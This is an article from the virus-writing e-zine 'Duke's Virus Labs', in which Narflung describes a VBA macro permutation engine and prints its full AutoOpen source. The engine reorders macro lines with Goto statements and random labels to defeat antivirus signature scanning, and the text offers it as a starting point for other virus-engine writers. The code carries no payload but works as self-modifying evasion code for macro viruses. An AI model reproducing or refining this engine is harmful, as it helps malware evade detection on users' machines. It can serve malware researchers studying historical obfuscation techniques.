- [Duke's Virus Labs #10] - [Page 20] -

Narflung's Macro Permutation Engine [DVL Version]
(c) by Narflung


Overview:
This engine was created to change the physical order of the macro,
while keeping the same logical order.  Using this technique, scanning
(but not emulation) of the macro would become increasingly difficult.

Methology:
The engine mutates the physical macro by the use of "Goto" statements.
The labels are of random length and content, thus acting as some other
macro engines do.

Permutation Process:
1: The engine generates a random, but controlled, number to place
   the first "Goto" statement.
2: It generates another number, being the number of "Goto" statements
   to add in this execution.
3: The engine generates the length of the labels for this particular
   execution.
4: The engine generates 3 labels.
5: It reads into the buffer the line of code it will move.
6: It checks to see if the line is "movable", meaning it will not affect
   the logical execution of code if moved.
7: The engine deletes the line.
8: Now the engine creates the "Goto" statements and labels in the form of:

        goto a:
        b:

        ...
        [block of unmoved code]
        ...

        goto c:
        a:
        [line of code]
        goto b:
        c:

9: Then it loops and repeats for the rest of the permutations.

Limitations:
This engine has many limitations, and is more a theoretical exercise or
idea for others to take up on, than an engine designed for real use.

1: This engine (so far) can only work in one sub, which certainly isnt
   practical for real macro viruses.
2: This engine will expand the size of the macro greatly within just a few
   generations.  A way to fix this would be to trace back through the code,
   then restore the original, unpermuted code, and then permute, as opposed
   to permuting permuted code (which is what the current version does.)
3: Occasionally a runtime error (Run-time error '-2147024809 (80070057)':
   Invalid procedure call or argument) occurs.  However, on next execution,
   or after a few more permutations, this error disappears.
4: Size is rather large.

I am sure that there are others, but in short, this is more of a theoretical
engine, which does work within its scope.  However, it would need to be greatly
refine before being introduced into a real situation.

Conclusion:
As stated before, this engine was never intended for use in a virus, but more
for educational purposes, such as giving other engine writers out there ideas.
I am not sure whether I should continue work on this engine, but if someone else
does, please send the modification to me.

Greets:
Buddy Music, Darkman, Duke, Perikles, Tally, Z0mbie
And all writers and collectors out there with new ideas and a friendly dispositon.

===== Cut here =====
Sub AutoOpen()
Dim gto%  'number of goto's
Dim i%    'i
Dim x%    'x
Dim lb%   'number of char's in label
Dim pos%  'position to put goto's at
Dim pos2% 'position to put the labels at
Dim ch$   'char var
Dim ch2$  'char2 var
Dim ch3$  'char3 var
Dim lbl$  'label var
Dim lbl2$ 'label2 var
Dim lbl3$ 'label3 var
Dim buf$  'buffer
On Error Resume Next
Set cm = Application.VBE.ActiveVBProject.VBComponents("Module1").CodeModule

'First MessageBox
Call MsgBox("1: End of Declarations", vbOKOnly)

Randomize

'Position to put Goto's at
pos = cm.CountOfLines / (Int(6 - 4) * Rnd + 4) - 2

'Number of Goto's
gto = ((Int((6 - 4) * Rnd + 4)))


For i = 1 To gto
'Second MessageBox
Call MsgBox("2: Start of gto loop", vbOKOnly)
lb = Int((23 - 5) * Rnd + 5)
'Third MessageBox
Call MsgBox("3: Start of lb loop", vbOKOnly)
    For x = 1 To lb
    If Int((2 - 1 + 1) * Rnd + 1) = 1 Then
        ch = Chr(Int(((Int(90 - 66) * Rnd + 66) - 65 + 1) * Rnd + 65))
        lbl = lbl & ch
        ch2 = Chr(Int(((Int(90 - 66) * Rnd + 66) - 65 + 1) * Rnd + 65))
        lbl2 = lbl2 & ch2
        ch3 = Chr(Int(((Int(90 - 66) * Rnd + 66) - 65 + 1) * Rnd + 65))
        lbl3 = lbl3 & ch3
    Else
        ch = Format(Chr(Int(((Int(90 - 66) * Rnd + 66) - 65 + 1) * Rnd + 65)), "<")
        lbl = lbl & ch
        ch2 = Format(Chr(Int(((Int(90 - 66) * Rnd + 66) - 65 + 1) * Rnd + 65)), "<")
        lbl2 = lbl2 & ch2
        ch3 = Format(Chr(Int(((Int(90 - 66) * Rnd + 66) - 65 + 1) * Rnd + 65)), "<")
        lbl3 = lbl3 & ch3
    End If
    Next x
'Fourth MessageBox
Call MsgBox("4: Done lbl's", vbOKOnly)

If (i * pos) = 0 Then
GoTo B_ERR
Else
buf = cm.Lines(i * pos, 1)
End If

'Lines to avoid moving...
If Left(Trim(buf), 4) = "Else" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 3) = "For" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 2) = "If" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 3) = "Dim" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 3) = "Set" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 4) = "Next" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 3) = "End" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 2) = "Do" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 4) = "Loop" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 5) = "While" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 4) = "Wend" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 4) = "With" Then
GoTo B_ERR
ElseIf Left(Trim(buf), 3) = "Sub" Then
GoTo B_ERR
End If


Call cm.DeleteLines(i * pos, 1)
cm.InsertLines i * pos, "goto " & lbl
cm.InsertLines i * pos + 1, lbl2 & ":"
pos2 = pos + 10
cm.InsertLines pos2 - 1, "goto " & lbl3
cm.InsertLines pos2, lbl & ":"
cm.InsertLines pos2 + 1, buf$
cm.InsertLines pos2 + 2, "goto " & lbl2
cm.InsertLines pos2 + 3, lbl3 & ":"
'Fifth MessageBox
Call MsgBox("5: Insertion Done", vbOKOnly)

'On Error...
B_ERR:
lbl2 = ""
lbl = ""
lbl3 = ""
buf = ""
Next i
'Sixth MessageBox
Call MsgBox("6: Gto loop finished", vbOKOnly)
End Sub
===== Cut here =====
